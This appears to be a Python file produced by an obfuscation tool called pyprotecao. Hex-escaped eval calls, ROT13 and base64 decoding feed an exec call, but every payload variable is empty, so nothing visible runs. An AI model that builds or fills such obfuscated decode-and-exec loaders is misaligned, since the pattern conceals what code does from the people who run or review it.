# encoded by pyprotecao

# http://keltecmp.tk/pyprotecao

import base64, codecs

magic = ''

love = ''

god = ''

destiny = ''

joy = '\x72\x6f\x74\x31\x33'

trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')

eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))